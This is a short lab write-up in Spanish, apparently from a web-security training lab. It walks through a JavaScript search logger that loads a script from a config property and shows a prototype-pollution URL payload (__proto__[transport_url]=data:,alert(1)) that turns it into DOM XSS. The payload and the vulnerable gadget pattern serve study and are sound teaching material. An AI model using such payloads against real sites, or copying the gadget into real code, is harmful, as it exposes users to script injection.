Skip to content

20260322143007.png

LAB

20260322144710.png

20260322144442.png

20260322144805.png

c
async function logQuery(url, params) {
    try {
        await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
    } catch(e) {
        console.error("Failed storing query");
    }
}

async function searchLogger() {
    let config = {params: deparam(new URL(location).searchParams.toString())};

    if(config.transport_url) {
        let script = document.createElement('script');
        script.src = config.transport_url;
        document.body.appendChild(script);
    }

    if(config.params && config.params.search) {
        await logQuery('/logger', config.params);
    }
}

window.addEventListener("load", searchLogger);
js
let config = {params: deparam(new URL(location).searchParams.toString())};

config se crea solo con params. No tiene transport_url definido para nada.

Entonces cuando el código hace:

js
if(config.transport_url) {

transport_url no existe en config como propiedad propia — JS sube al prototipo a buscarlo.

El ataque

Con esta URL:

js
/?__proto__[transport_url]=data:,alert(1)

deparam() contamina:

js
Object.prototype.transport_url = "data:,alert(1)"

Ahora cuando el código lee config.transport_url:

js
config.transport_url  →  no existe en config
                      →  sube a Object.prototype
                      →  encuentra "data:,alert(1)"

Y ejecuta:

js
script.src = "data:,alert(1)"  // → XSS